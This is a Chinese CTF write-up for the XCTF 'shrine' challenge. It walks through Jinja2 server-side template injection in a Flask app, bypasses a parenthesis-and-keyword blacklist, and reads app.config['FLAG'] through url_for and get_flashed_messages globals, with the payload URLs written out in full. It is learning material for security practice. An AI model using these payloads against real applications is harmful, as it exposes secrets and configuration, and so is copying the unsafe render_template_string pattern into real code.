XCTF-攻防世界CTF平台-Web类——16、shrine(Flask框架之Jinja2模板渲染引擎、查看app.config[‘FLAG‘])

XCTF-攻防世界CTF平台-Web类——16、shrine(Flask框架之Jinja2模板渲染引擎、查看app.config[‘FLAG‘]),第1张

XCTF-攻防世界CTF平台-Web类——16、shrine(Flask框架之Jinja2模板渲染引擎、查看app.config[‘FLAG‘])

目录标题
  • python模板注入
  • 代码分析:
  • 构造Python模板注入
  • url_for()函数查看flag
  • get_flashed_messages()函数查看flag

打开题目地址:

这是Python的flask渲染模板

python模板注入

python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{{1+1}}会被解析成2。
源代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)
代码分析:
app = flask.Flask(__name__)

用当前模块的路径初始化app,__name__是系统变量即程序主模块或者包的名字,该变量指的是本py文件的文件名。

app.config['FLAG'] = os.environ.pop('FLAG')

Flask提供了很多种方式来加载配置。比如,你可以像在字典中添加一个键值对一样来设置一个配置:app.config[‘FLAG’]就是当前app下一个变量名为’FLAG’的配置,它的值等于os.environ.pop(‘FLAG’)移除环境变量中的键名为’FLAG’的值。

@app.route('/')
def index():
    return open(__file__).read()

访问http://111.200.241.244:62038/,则执行index()函数打开当前文件,读取文件内容,返回文件源码

@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        #黑名单
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

访问http://111.200.241.244:62038/shrine/,则调用flask.render_template_string函数返回渲染模板字符串safe_jinja(shrine);

之后shrine(shrine)函数、safe_jinja(s)函数:先去掉s字符串变量中的“(”和“)”左右括号,之后

''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])

这句代码的意思就是:

for c in blacklist:
	'{{% set {}=None%}}'.format(c)

我们可以执行一下代码看一下它的作用:

blacklist = ['config', 'self']
for c in blacklist:
	print('{{% set {}=None%}}'.format(c))

blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]))

我们就可以发现这一行代码的作用就是返回{% set config=None%}{% set self=None%}字符串,给flask.render_template_string函数经过渲染将config、self参数的值设为None,之后返回浏览器显示。

构造Python模板注入

访问shrine路径下,构造Python模板注入:

http://111.200.241.244:63403/shrine/{{1+1}}

可以看到是存在Python模板注入漏洞的
之后查看config、self配置:
http://111.200.241.244:63403/shrine/{{config}}
http://111.200.241.244:63403/shrine/{{self}}

可以看到和我们开始分析的代码逻辑一致,config、self参数的值已经被设为None了
但是我们依旧可以利用其他Python内置函数,但要注意“()”被过滤了,带“()”的函数都无法执行。
Python中常用于ssti的魔术方法
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
在Flask框架渲染模板时,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()。

例如查看所有基类:

http://111.200.241.244:63403/shrine/{{''.__class__.__mro__}}

查看所有基本类的子类:

http://111.200.241.244:54842/shrine/{{[].__class__.__base__.__subclasses__()}}

带有括号所以执行.__subclasses__()函数失败

再看源代码,这道题的关键在于:

app.config['FLAG'] = os.environ.pop('FLAG')

我们在这道题中的目的是读取配置文件中变量名为’FLAG’的值,也就是环境变量中的键名为’FLAG’的值,但是config、self参数的值设为None,无法直接查看

url_for()函数查看flag

我们可以使用flask框架的url_for函数:from flask import url_for。
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS、Javascript等)。只要在你的包中或是模块的所在目录中创建一个名为static的文件夹,在应用中使用 /static即可访问。
所以我们可以用url_for函数来查看当前包中所有的静态文件,其中肯定就包括了配置文件。
先查看url_for函数的全局变量的字典的引用:

http://111.200.241.244:54842/shrine/{{url_for.__globals__}}

其中’current_app’: 键值对,current_app意思应该是当前app,也可以直接查看当前’current_app’的值:

http://111.200.241.244:54842/shrine/{{url_for.__globals__['current_app']}}

当前’current_app’的值就是
而我们的目的就是读取app.config[‘FLAG’],那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:

http://111.200.241.244:54842/shrine/{{url_for.__globals__['current_app'].config}}

可以看到配置变量’FLAG’对应的值是flag{shrine_is_good_ssti}。
也可以直接查看配置变量’FLAG’的值:

http://111.200.241.244:54434/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

得到flag{shrine_is_good_ssti}

get_flashed_messages()函数查看flag

  返回之前在Flask中通过flash()函数传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
  flask闪现是基于flask内置的session的,利用浏览器的session缓存闪现信息。之前的每次flash()函数都会缓存一个信息,之后再通过get_flashed_messages()函数访问缓存的信息。
  flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:{% with messages = get_flashed_messages() %}
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:{% with messages = get_flashed_messages(with_categories=true) %}
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:{% with messages = get_flashed_messages(category_filter=[“username”])
所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:

http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__}}

也可以查看到当前app的值
之后就是跟之前类似的
查看当前app的值:

http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__['current_app']}}

那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:

http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

也可以直接查看配置变量’FLAG’的值:

http://111.200.241.244:54434/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

得到flag{shrine_is_good_ssti}

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5659131.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存